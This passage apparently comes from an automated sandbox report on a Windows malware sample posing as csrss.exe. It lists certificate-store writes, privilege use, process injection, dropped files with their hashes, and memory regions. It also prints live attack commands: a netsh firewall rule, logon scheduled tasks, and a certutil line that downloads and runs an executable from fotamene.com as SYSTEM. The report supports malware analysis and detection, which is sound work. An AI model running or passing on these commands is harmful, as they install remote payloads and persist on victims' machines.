0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b80f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exeb47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exepid process 912 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe 1704 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.execsrss.exedescription pid process Token: SeDebugPrivilege 912 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Token: SeImpersonatePrivilege 912 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Token: SeSystemEnvironmentPrivilege 1736 csrss.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.execmd.exedescription pid process target process PID 1704 wrote to memory of 776 1704 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe cmd.exe PID 1704 wrote to memory of 776 1704 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe cmd.exe PID 1704 wrote to memory of 776 1704 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe cmd.exe PID 1704 wrote to memory of 776 1704 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe cmd.exe PID 776 wrote to memory of 1360 776 cmd.exe netsh.exe PID 776 wrote to memory of 1360 776 cmd.exe netsh.exe PID 776 wrote to memory of 1360 776 cmd.exe netsh.exe PID 1704 wrote to memory of 1736 1704 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe csrss.exe PID 1704 wrote to memory of 1736 1704 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe csrss.exe PID 1704 wrote to memory of 1736 1704 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe csrss.exe PID 1704 wrote to memory of 1736 1704 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe csrss.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe"C:\Users\Admin\AppData\Local\Temp\b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe"C:\Users\Admin\AppData\Local\Temp\b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe"2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20221125162428.log C:\Windows\Logs\CBS\CbsPersist_20221125162428.cab1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeFilesize
3.8MB
MD570458756d498f9fb5e724ed3ebd3ddf5
SHA1a1c525f7a312e74950c2c00e87006e46aaf9d4a0
SHA256b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3
SHA51287ea85ee5e58c6c2ff28256f2b5a47ecfe21f4209630b1683ccd21c45a0bf38c26508bfbd8fb02d0c3a958ea6c1e19da58b54e27c3cf3fc68de79646b214c401
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllFilesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\symsrv.dllFilesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeFilesize
3.8MB
MD570458756d498f9fb5e724ed3ebd3ddf5
SHA1a1c525f7a312e74950c2c00e87006e46aaf9d4a0
SHA256b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3
SHA51287ea85ee5e58c6c2ff28256f2b5a47ecfe21f4209630b1683ccd21c45a0bf38c26508bfbd8fb02d0c3a958ea6c1e19da58b54e27c3cf3fc68de79646b214c401
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\Windows\rss\csrss.exeFilesize
3.8MB
MD570458756d498f9fb5e724ed3ebd3ddf5
SHA1a1c525f7a312e74950c2c00e87006e46aaf9d4a0
SHA256b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3
SHA51287ea85ee5e58c6c2ff28256f2b5a47ecfe21f4209630b1683ccd21c45a0bf38c26508bfbd8fb02d0c3a958ea6c1e19da58b54e27c3cf3fc68de79646b214c401
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memory/776-61-0x0000000000000000-mapping.dmp
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memory/912-55-0x0000000001220000-0x00000000015C8000-memory.dmpFilesize
3.7MB
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memory/912-56-0x00000000015D0000-0x0000000001DD4000-memory.dmpFilesize
8.0MB
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memory/912-54-0x0000000001220000-0x00000000015C8000-memory.dmpFilesize
3.7MB
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memory/912-57-0x0000000000400000-0x0000000000C65000-memory.dmpFilesize
8.4MB
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memory/912-58-0x0000000000400000-0x0000000000C65000-memory.dmpFilesize
8.4MB
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memory/1208-84-0x0000000140000000-0x00000001405E8000-memory.dmpFilesize
5.9MB
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memory/1208-80-0x0000000140000000-0x00000001405E8000-memory.dmpFilesize
5.9MB
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memory/1208-76-0x0000000140000000-0x00000001405E8000-memory.dmpFilesize
5.9MB
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memory/1360-62-0x0000000000000000-mapping.dmp
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memory/1360-65-0x000007FEFBCA1000-0x000007FEFBCA3000-memory.dmpFilesize
8KB
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memory/1704-60-0x00000000010D0000-0x0000000001478000-memory.dmpFilesize
3.7MB
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memory/1704-59-0x00000000010D0000-0x0000000001478000-memory.dmpFilesize
3.7MB
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memory/1704-70-0x0000000000400000-0x0000000000C65000-memory.dmpFilesize
8.4MB
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memory/1704-64-0x0000000000400000-0x0000000000C65000-memory.dmpFilesize
8.4MB
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memory/1704-63-0x0000000000400000-0x0000000000C65000-memory.dmpFilesize
8.4MB
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memory/1736-73-0x0000000000400000-0x0000000000C65000-memory.dmpFilesize
8.4MB
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memory/1736-72-0x0000000000FB0000-0x0000000001358000-memory.dmpFilesize
3.7MB
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memory/1736-71-0x0000000000FB0000-0x0000000001358000-memory.dmpFilesize
3.7MB
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memory/1736-79-0x0000000000400000-0x0000000000C65000-memory.dmpFilesize
8.4MB
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memory/1736-68-0x0000000000000000-mapping.dmp